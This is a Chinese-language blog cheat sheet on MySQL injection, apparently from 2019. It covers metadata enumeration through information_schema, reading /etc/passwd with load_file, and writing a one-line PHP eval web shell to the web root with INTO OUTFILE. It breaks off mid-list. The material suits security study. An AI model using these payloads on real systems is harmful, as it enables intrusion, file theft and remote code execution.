日期:2019-07-23 19:55:59
更新:2019-08-02 10:40:37
作者:Bay0net
介绍:Mysql 注入笔记
0x01、 基本信息
1.1 基本术语
数据库: 数据库是一些关联表的集合。
数据表: 表是数据的矩阵。在一个数据库中的表看起来像一个简单的电子表格。
列: 一列(数据元素) 包含了相同类型的数据, 例如邮政编码的数据。
行:一行(=元组,或记录)是一组相关的数据,例如一条用户订阅的数据。
主键:主键是唯一的。一个数据表中只能包含一个主键。你可以使用主键来查询数据。
外键:外键用于关联两个表。

1.2 常用命令
# 登录
mysql -h 127.0.0.1 -u root -p root
0x02、Mysql 命令
内置函数
# 查看当前数据库
select database();
# 查看用户相关
select user();
select current_user();
select system_user();
select session_user();
# 查看数据库版本
select version();
select @@version;
select @@GLOBAL.VERSION;
# 查看操作系统
select @@version_compile_os;
# 查看主机名
select @@hostname;
# 查看默认目录
select @@datadir;
查询数据库、表名、字段等信息
在每个 MySQL 实例中都有一个独立的 information_schema,用来存储 MySQL 实例中所有其他数据库的基本信息。
# 爆所有用户
select group_concat(user) from mysql.user;
# 爆所有数据库
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆当前数据库的表名
select group_concat(table_name) from information_schema.tables where table_schema=database();
# 表中有主码约束,非空约束等完整性约束条件的情况下 爆表名
select group_concat(table_name) from information_schema.table_constraints where table_schema=database();
# 爆字段名(表名是 users,加引号或十六进制编码)
select group_concat(column_name) from information_schema.columns where table_name='users';
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273;
# 爆字段内容
select first_name,password from users
读写文件操作
# 读取文件
select load_file('/etc/passwd');
select load_file(0x2f6574632f706173737764);
load_file 的默认目录是 @@datadir。
文件需要有可读权限。
读文件的最大容量,用 @@max_allowed_packet 查看。
# 写入文件(需要有权限、知道绝对路径)
select 'hello' into outfile '/tmp/test01';
select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';
select 'hello' into dumpfile '/tmp/test01';
outfile 和 dumpfile 都不会覆盖文件,如果文件已存在,则报错。
如果没有写权限,则报错。
into dumpfile 在写文件时会保持文件原生内容,常用来写二进制文件。
into outfile 在每一行都会加上换行符。
查看读写权限
使用 mysql 的读写功能需要具有一定的权限。
secure_file_priv 参数用来限制 load_file,into outfile 等相关读写执行函数作用于哪个指定目录。
# 查看方式
show global variables like '%secure%';
# 具体意义
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
当 mysql.version < 5.5.53 时,默认是 null。
过滤函数使用
PHP < 5.4时;有一个 magic_quotes_gpc 配置项,当 magic_quotes is on,所有的 单引号、双引号、反斜杠和 null 都将自动使用反斜杠进行转义。在 php5.4 之后的版本不能使用这个方法进行转义。
mysql_real_escape_string(),也是用来转义特殊字符的,但是这个扩展在 php5.5 中已经弃用,并在 php7 中删除。
注释方法
符号
解释
#
注释一行
/**/
行内注释、多行注释
--
注释一行
;%00
空字节注释
`
反引号(只能在句末使用)
字符串连接</